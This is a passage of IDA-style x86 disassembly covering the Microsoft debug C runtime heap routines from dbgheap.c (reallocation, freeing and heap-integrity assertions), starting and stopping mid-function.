		jnz	short loc_41532C
		int	3		; Trap to Debugger


loc_41532C:				; CODE XREF: sub_4152A0+69j
					; sub_4152A0+89j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_415302


loc_415332:				; CODE XREF: sub_4152A0+60j
		mov	edx, dword_443894
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		cmp	eax, dword_443898


loc_415344:				; DATA XREF: ___:00444900o
					; ___:00444D54o
		jnz	short loc_415347
		int	3		; Trap to Debugger


loc_415347:				; CODE XREF: sub_4152A0:loc_415344j
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+var_10]
		push	eax


loc_415353:				; DATA XREF: ___:00444AECo
					; ___:00444B94o ...
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		push	2
		call	off_443C70
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4153CC
		cmp	[ebp+arg_C], 0
		jz	short loc_41539F


loc_415374:				; CODE XREF: sub_4152A0+FBj
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		push	offset aClientHookReAl ; "Client hook re-allocation failure at fi"...
		push	0
		push	0
		push	0
		push	0
		call	sub_41AB10
		add	esp, 1Ch
		cmp	eax, 1
		jnz	short loc_415397
		int	3		; Trap to Debugger


loc_415397:				; CODE XREF: sub_4152A0+F4j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_415374
		jmp	short loc_4153C5
; ---------------------------------------------------------------------------


loc_41539F:				; CODE XREF: sub_4152A0+D2j
					; sub_4152A0+123j
		push	offset aClientHookRe_0 ; "Client hook re-allocation failure.\n"
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_41AB10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_4153BF
		int	3		; Trap to Debugger


loc_4153BF:				; CODE XREF: sub_4152A0+11Cj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41539F


loc_4153C5:				; CODE XREF: sub_4152A0+FDj
		xor	eax, eax
		jmp	loc_4157AA
; ---------------------------------------------------------------------------


loc_4153CC:				; CODE XREF: sub_4152A0+CCj
		cmp	[ebp+arg_4], 0FFFFFFDBh
		jbe	short loc_4153FE


loc_4153D2:				; CODE XREF: sub_4152A0+155j
		mov	edx, [ebp+arg_4]
		push	edx
		push	offset aAllocationTooL ; "Allocation too large or negative: %u by"...
		push	0
		push	0
		push	0
		push	1
		call	sub_41AB10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_4153F1
		int	3		; Trap to Debugger


loc_4153F1:				; CODE XREF: sub_4152A0+14Ej
		xor	eax, eax
		test	eax, eax
		jnz	short loc_4153D2
		xor	eax, eax
		jmp	loc_4157AA
; ---------------------------------------------------------------------------


loc_4153FE:				; CODE XREF: sub_4152A0+130j
		cmp	[ebp+arg_8], 1
		jz	short loc_415446
		mov	ecx, [ebp+arg_8]
		and	ecx, 0FFFFh
		cmp	ecx, 4
		jz	short loc_415446
		mov	edx, [ebp+arg_8]
		and	edx, 0FFFFh
		cmp	edx, 2
		jz	short loc_415446


loc_415420:				; CODE XREF: sub_4152A0+1A4j
		push	offset aErrorMemoryAll ; "Error: memory	allocation: bad	memory bl"...
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	1
		call	sub_41AB10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_415440
		int	3		; Trap to Debugger


loc_415440:				; CODE XREF: sub_4152A0+19Dj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_415420


loc_415446:				; CODE XREF: sub_4152A0+162j
					; sub_4152A0+170j ...
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4163D0
		add	esp, 4
		test	eax, eax
		jnz	short loc_415477
		push	offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
		push	0
		push	261h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_415477
		int	3		; Trap to Debugger


loc_415477:				; CODE XREF: sub_4152A0+1B4j
					; sub_4152A0+1D4j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_415446
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx+14h], 3
		jnz	short loc_415496
		mov	[ebp+var_14], 1


loc_415496:				; CODE XREF: sub_4152A0+1EDj
		cmp	[ebp+var_14], 0
		jz	short loc_4154DA


loc_41549C:				; CODE XREF: sub_4152A0+236j
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx+0Ch], 0FEDCBABCh
		jnz	short loc_4154B1
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax+18h], 0
		jz	short loc_4154D2


loc_4154B1:				; CODE XREF: sub_4152A0+206j
		push	offset aPoldblockNline ; "pOldBlock->nLine == IGNORE_LINE && pOld"...
		push	0
		push	26Bh
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_4154D2
		int	3		; Trap to Debugger


loc_4154D2:				; CODE XREF: sub_4152A0+20Fj
					; sub_4152A0+22Fj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41549C
		jmp	short loc_41553E
; ---------------------------------------------------------------------------


loc_4154DA:				; CODE XREF: sub_4152A0+1FAj
		mov	edx, [ebp+var_8]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 2
		jnz	short loc_4154FF
		mov	ecx, [ebp+arg_8]
		and	ecx, 0FFFFh
		cmp	ecx, 1
		jnz	short loc_4154FF
		mov	[ebp+arg_8], 2


loc_4154FF:				; CODE XREF: sub_4152A0+248j
					; sub_4152A0+256j ...
		mov	edx, [ebp+var_8]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		mov	ecx, [ebp+arg_8]
		and	ecx, 0FFFFh
		cmp	eax, ecx
		jz	short loc_415538
		push	offset a_block_typePol ; "_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLO"...
		push	0
		push	272h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_415538
		int	3		; Trap to Debugger


loc_415538:				; CODE XREF: sub_4152A0+275j
					; sub_4152A0+295j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_4154FF


loc_41553E:				; CODE XREF: sub_4152A0+238j
		cmp	[ebp+arg_14], 0
		jz	short loc_415569
		mov	eax, [ebp+arg_4]
		add	eax, 24h
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_41BA10
		add	esp, 8
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_415567
		xor	eax, eax
		jmp	loc_4157AA
; ---------------------------------------------------------------------------


loc_415567:				; CODE XREF: sub_4152A0+2BEj
		jmp	short loc_41558C
; ---------------------------------------------------------------------------


loc_415569:				; CODE XREF: sub_4152A0+2A2j
		mov	edx, [ebp+arg_4]
		add	edx, 24h
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_41B960
		add	esp, 8
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_41558C
		xor	eax, eax
		jmp	loc_4157AA
; ---------------------------------------------------------------------------


loc_41558C:				; CODE XREF: sub_4152A0:loc_415567j
					; sub_4152A0+2E3j
		mov	ecx, dword_443894
		add	ecx, 1
		mov	dword_443894, ecx
		cmp	[ebp+var_14], 0
		jnz	short loc_4155F7
		mov	edx, [ebp+var_C]
		mov	eax, dword_4DB09C
		sub	eax, [edx+10h]
		mov	dword_4DB09C, eax
		mov	ecx, dword_4DB09C
		add	ecx, [ebp+arg_4]
		mov	dword_4DB09C, ecx
		mov	edx, [ebp+var_C]
		mov	eax, dword_4DB0A4
		sub	eax, [edx+10h]
		mov	dword_4DB0A4, eax
		mov	ecx, dword_4DB0A4
		add	ecx, [ebp+arg_4]
		mov	dword_4DB0A4, ecx
		mov	edx, dword_4DB0A4
		cmp	edx, dword_4DB0A8
		jbe	short loc_4155F7
		mov	eax, dword_4DB0A4
		mov	dword_4DB0A8, eax


loc_4155F7:				; CODE XREF: sub_4152A0+2FFj
					; sub_4152A0+34Bj
		mov	ecx, [ebp+var_C]
		add	ecx, 20h
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+arg_4]
		cmp	eax, [edx+10h]
		jbe	short loc_41562F
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_4]
		sub	edx, [ecx+10h]
		push	edx
		xor	eax, eax
		mov	al, byte_44389E
		push	eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_4]
		add	edx, [ecx+10h]
		push	edx
		call	sub_417070
		add	esp, 0Ch


loc_41562F:				; CODE XREF: sub_4152A0+369j
		push	4
		xor	eax, eax
		mov	al, byte_44389C
		push	eax
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_417070
		add	esp, 0Ch
		cmp	[ebp+var_14], 0
		jnz	short loc_415669
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+arg_C]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_10]
		mov	[ecx+0Ch], edx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_10]
		mov	[eax+18h], ecx


loc_415669:				; CODE XREF: sub_4152A0+3ACj
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+arg_4]
		mov	[edx+10h], eax


loc_415672:				; CODE XREF: sub_4152A0+40Bj
		cmp	[ebp+arg_14], 0
		jnz	short loc_4156A7
		cmp	[ebp+arg_14], 0
		jnz	short loc_415686
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_8]
		jz	short loc_4156A7


loc_415686:				; CODE XREF: sub_4152A0+3DCj
		push	offset aFreallocFreall ; "fRealloc || (!fRealloc && pNewBlock == "...
		push	0
		push	2A8h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_4156A7
		int	3		; Trap to Debugger


loc_4156A7:				; CODE XREF: sub_4152A0+3D6j
					; sub_4152A0+3E4j ...
		xor	edx, edx
		test	edx, edx
		jnz	short loc_415672
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+var_8]
		jz	short loc_4156BB
		cmp	[ebp+var_14], 0
		jz	short loc_4156C3


loc_4156BB:				; CODE XREF: sub_4152A0+413j
		mov	eax, [ebp+var_4]
		jmp	loc_4157AA
; ---------------------------------------------------------------------------


loc_4156C3:				; CODE XREF: sub_4152A0+419j
		mov	ecx, [ebp+var_C]
		cmp	dword ptr [ecx], 0
		jz	short loc_4156DB
		mov	edx, [ebp+var_C]
		mov	eax, [edx]
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+4]
		mov	[eax+4], edx
		jmp	short loc_415717
; ---------------------------------------------------------------------------


loc_4156DB:				; CODE XREF: sub_4152A0+429j
					; sub_4152A0+46Aj
		mov	eax, dword_4DB098
		cmp	eax, [ebp+var_8]
		jz	short loc_415706
		push	offset a_plastblockPol ; "_pLastBlock == pOldBlock"
		push	0
		push	2B7h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_415706
		int	3		; Trap to Debugger


loc_415706:				; CODE XREF: sub_4152A0+443j
					; sub_4152A0+463j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_4156DB
		mov	edx, [ebp+var_C]
		mov	eax, [edx+4]
		mov	dword_4DB098, eax


loc_415717:				; CODE XREF: sub_4152A0+439j
		mov	ecx, [ebp+var_C]
		cmp	dword ptr [ecx+4], 0
		jz	short loc_41572F
		mov	edx, [ebp+var_C]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx]
		mov	[eax], edx
		jmp	short loc_41576A
; ---------------------------------------------------------------------------


loc_41572F:				; CODE XREF: sub_4152A0+47Ej
					; sub_4152A0+4BEj
		mov	eax, dword_4DB0A0
		cmp	eax, [ebp+var_8]
		jz	short loc_41575A
		push	offset a_pfirstblockPo ; "_pFirstBlock == pOldBlock"
		push	0
		push	2C2h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41575A
		int	3		; Trap to Debugger


loc_41575A:				; CODE XREF: sub_4152A0+497j
					; sub_4152A0+4B7j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41572F
		mov	edx, [ebp+var_C]
		mov	eax, [edx]
		mov	dword_4DB0A0, eax


loc_41576A:				; CODE XREF: sub_4152A0+48Dj
		cmp	dword_4DB0A0, 0
		jz	short loc_415781
		mov	ecx, dword_4DB0A0
		mov	edx, [ebp+var_C]
		mov	[ecx+4], edx
		jmp	short loc_415789
; ---------------------------------------------------------------------------


loc_415781:				; CODE XREF: sub_4152A0+4D1j
		mov	eax, [ebp+var_C]
		mov	dword_4DB098, eax


loc_415789:				; CODE XREF: sub_4152A0+4DFj
		mov	ecx, [ebp+var_C]
		mov	edx, dword_4DB0A0
		mov	[ecx], edx
		mov	eax, [ebp+var_C]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp+var_C]
		mov	dword_4DB0A0, ecx
		mov	eax, [ebp+var_4]


loc_4157AA:				; CODE XREF: sub_4152A0+2Ej
					; sub_4152A0+51j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4152A0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	1
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_4157E0
		add	esp, 14h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4157E0	proc near		; CODE XREF: ___:004157D1p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	9
		call	sub_41B780
		add	esp, 4
		push	0
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4152A0
		add	esp, 18h
		mov	[ebp+var_4], eax
		push	9
		call	sub_41B820
		add	esp, 4
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4157E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415820	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_402599+B7p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_415860
		add	esp, 8
		pop	ebp
		retn
sub_415820	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		mov	eax, [ebp+8]
		push	eax
		call	sub_415890
		add	esp, 8
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415860	proc near		; CODE XREF: sub_414CF0+98p
					; sub_4152A0+47p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	9
		call	sub_41B780
		add	esp, 4
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_415890
		add	esp, 8
		push	9
		call	sub_41B820
		add	esp, 4
		pop	ebp
		retn
sub_415860	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415890	proc near		; CODE XREF: ___:00415849p
					; sub_415860+15p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_443890
		and	eax, 4
		test	eax, eax
		jz	short loc_4158D3


loc_4158A3:				; CODE XREF: sub_415890+41j
		call	sub_415F70
		test	eax, eax
		jnz	short loc_4158CD
		push	offset a_crtcheckmemor ; "_CrtCheckMemory()"
		push	0
		push	3E1h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_4158CD
		int	3		; Trap to Debugger


loc_4158CD:				; CODE XREF: sub_415890+1Aj
					; sub_415890+3Aj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_4158A3


loc_4158D3:				; CODE XREF: sub_415890+11j
		cmp	[ebp+arg_0], 0
		jnz	short loc_4158DE
		jmp	loc_415C75
; ---------------------------------------------------------------------------


loc_4158DE:				; CODE XREF: sub_415890+47j
		push	0
		push	0
		push	0
		mov	edx, [ebp+arg_4]
		push	edx
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		push	3
		call	off_443C70
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_415928


loc_4158FD:				; CODE XREF: sub_415890+91j
		push	offset aClientHookFree ; "Client hook free failure.\n"
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_41AB10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41591D
		int	3		; Trap to Debugger


loc_41591D:				; CODE XREF: sub_415890+8Aj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_4158FD
		jmp	loc_415C75
; ---------------------------------------------------------------------------


loc_415928:				; CODE XREF: sub_415890+6Bj
					; sub_415890+CDj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4163D0
		add	esp, 4
		test	eax, eax
		jnz	short loc_415959
		push	offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
		push	0
		push	3F3h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_415959
		int	3		; Trap to Debugger


loc_415959:				; CODE XREF: sub_415890+A6j
					; sub_415890+C6j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_415928
		mov	ecx, [ebp+arg_0]
		sub	ecx, 20h
		mov	[ebp+var_4], ecx


loc_415968:				; CODE XREF: sub_415890+12Fj
		mov	edx, [ebp+var_4]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 4
		jz	short loc_4159BB
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+14h], 1
		jz	short loc_4159BB
		mov	edx, [ebp+var_4]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 2
		jz	short loc_4159BB
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+14h], 3
		jz	short loc_4159BB
		push	offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
		push	0
		push	3F9h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_4159BB
		int	3		; Trap to Debugger


loc_4159BB:				; CODE XREF: sub_415890+E6j
					; sub_415890+EFj ...
		xor	edx, edx
		test	edx, edx
		jnz	short loc_415968
		mov	eax, dword_443890
		and	eax, 4
		test	eax, eax
		jnz	loc_415A96
		push	4
		mov	cl, byte_44389C
		push	ecx
		mov	edx, [ebp+var_4]
		add	edx, 1Ch
		push	edx
		call	sub_415EE0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_415A30


loc_4159ED:				; CODE XREF: sub_415890+19Ej
		mov	eax, [ebp+var_4]
		add	eax, 20h
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		mov	edx, off_4438A0[ecx*4]
		push	edx
		push	offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"...
		push	0
		push	0
		push	0
		push	1
		call	sub_41AB10
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_415A2A
		int	3		; Trap to Debugger


loc_415A2A:				; CODE XREF: sub_415890+197j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_4159ED


loc_415A30:				; CODE XREF: sub_415890+15Bj
		push	4
		mov	cl, byte_44389C
		push	ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		mov	ecx, [ebp+var_4]
		lea	edx, [ecx+eax+20h]
		push	edx
		call	sub_415EE0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_415A96


loc_415A53:				; CODE XREF: sub_415890+204j
		mov	eax, [ebp+var_4]
		add	eax, 20h
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		mov	edx, off_4438A0[ecx*4]
		push	edx
		push	offset aDamageAfterHsB ; "DAMAGE: after	%hs block (#%d)	at 0x%08X"...
		push	0
		push	0
		push	0
		push	1
		call	sub_41AB10
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_415A90
		int	3		; Trap to Debugger


loc_415A90:				; CODE XREF: sub_415890+1FDj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_415A53


loc_415A96:				; CODE XREF: sub_415890+13Bj
					; sub_415890+1C1j
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+14h], 3
		jnz	short loc_415B0B


loc_415A9F:				; CODE XREF: sub_415890+249j
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+0Ch], 0FEDCBABCh
		jnz	short loc_415AB4
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+18h], 0
		jz	short loc_415AD5


loc_415AB4:				; CODE XREF: sub_415890+219j
		push	offset aPheadNlineIgno ; "pHead->nLine == IGNORE_LINE && pHead->l"...
		push	0
		push	40Eh
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_415AD5
		int	3		; Trap to Debugger


loc_415AD5:				; CODE XREF: sub_415890+222j
					; sub_415890+242j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_415A9F
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		add	eax, 24h
		push	eax
		xor	ecx, ecx
		mov	cl, byte_44389D
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_417070
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_41BC00
		add	esp, 4
		jmp	loc_415C75
; ---------------------------------------------------------------------------


loc_415B0B:				; CODE XREF: sub_415890+20Dj
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+14h], 2
		jnz	short loc_415B21
		cmp	[ebp+arg_4], 1
		jnz	short loc_415B21
		mov	[ebp+arg_4], 2


loc_415B21:				; CODE XREF: sub_415890+282j
					; sub_415890+288j ...
		mov	edx, [ebp+var_4]
		mov	eax, [edx+14h]
		cmp	eax, [ebp+arg_4]
		jz	short loc_415B4D
		push	offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse"
		push	0
		push	41Bh
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_415B4D
		int	3		; Trap to Debugger


loc_415B4D:				; CODE XREF: sub_415890+29Aj
					; sub_415890+2BAj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_415B21
		mov	edx, [ebp+var_4]
		mov	eax, dword_4DB0A4
		sub	eax, [edx+10h]
		mov	dword_4DB0A4, eax
		mov	ecx, dword_443890
		and	ecx, 2
		test	ecx, ecx
		jnz	loc_415C4C
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx], 0
		jz	short loc_415B8C
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		mov	[ecx+4], eax
		jmp	short loc_415BCA
; ---------------------------------------------------------------------------


loc_415B8C:				; CODE XREF: sub_415890+2EAj
					; sub_415890+32Cj
		mov	ecx, dword_4DB098
		cmp	ecx, [ebp+var_4]
		jz	short loc_415BB8
		push	offset a_plastblockPhe ; "_pLastBlock == pHead"
		push	0
		push	42Ah
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_415BB8
		int	3		; Trap to Debugger


loc_415BB8:				; CODE XREF: sub_415890+305j
					; sub_415890+325j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_415B8C
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+4]
		mov	dword_4DB098, ecx


loc_415BCA:				; CODE XREF: sub_415890+2FAj
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+4], 0
		jz	short loc_415BE2
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+4]
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		mov	[ecx], eax
		jmp	short loc_415C1F
; ---------------------------------------------------------------------------


loc_415BE2:				; CODE XREF: sub_415890+341j
					; sub_415890+382j
		mov	ecx, dword_4DB0A0
		cmp	ecx, [ebp+var_4]
		jz	short loc_415C0E
		push	offset a_pfirstblockPh ; "_pFirstBlock == pHead"
		push	0
		push	434h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_415C0E
		int	3		; Trap to Debugger


loc_415C0E:				; CODE XREF: sub_415890+35Bj
					; sub_415890+37Bj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_415BE2
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		mov	dword_4DB0A0, ecx


loc_415C1F:				; CODE XREF: sub_415890+350j
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		add	eax, 24h
		push	eax
		xor	ecx, ecx
		mov	cl, byte_44389D
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_417070
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_41BC00
		add	esp, 4
		jmp	short loc_415C75
; ---------------------------------------------------------------------------


loc_415C4C:				; CODE XREF: sub_415890+2DEj
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+14h], 0
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		push	eax
		xor	ecx, ecx
		mov	cl, byte_44389D
		push	ecx
		mov	edx, [ebp+var_4]
		add	edx, 20h
		push	edx
		call	sub_417070
		add	esp, 0Ch


loc_415C75:				; CODE XREF: sub_415890+49j
					; sub_415890+93j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_415890	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		mov	eax, [ebp+8]
		push	eax
		call	sub_415CA0
		add	esp, 8
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415CA0	proc near		; CODE XREF: ___:00415C89p
					; sub_419BD0+11p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_443890
		and	eax, 4
		test	eax, eax
		jz	short loc_415CE5


loc_415CB5:				; CODE XREF: sub_415CA0+43j
		call	sub_415F70
		test	eax, eax
		jnz	short loc_415CDF
		push	offset a_crtcheckmemor ; "_CrtCheckMemory()"
		push	0
		push	47Ch
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_415CDF
		int	3		; Trap to Debugger


loc_415CDF:				; CODE XREF: sub_415CA0+1Cj
					; sub_415CA0+3Cj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_415CB5


loc_415CE5:				; CODE XREF: sub_415CA0+13j
		push	9
		call	sub_41B780
		add	esp, 4


loc_415CEF:				; CODE XREF: sub_415CA0+84j
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4163D0
		add	esp, 4
		test	eax, eax
		jnz	short loc_415D20
		push	offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
		push	0
		push	485h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_415D20
		int	3		; Trap to Debugger


loc_415D20:				; CODE XREF: sub_415CA0+5Dj
					; sub_415CA0+7Dj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_415CEF
		mov	ecx, [ebp+arg_0]
		sub	ecx, 20h
		mov	[ebp+var_8], ecx


loc_415D2F:				; CODE XREF: sub_415CA0+E6j
		mov	edx, [ebp+var_8]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 4
		jz	short loc_415D82
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx+14h], 1
		jz	short loc_415D82
		mov	edx, [ebp+var_8]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
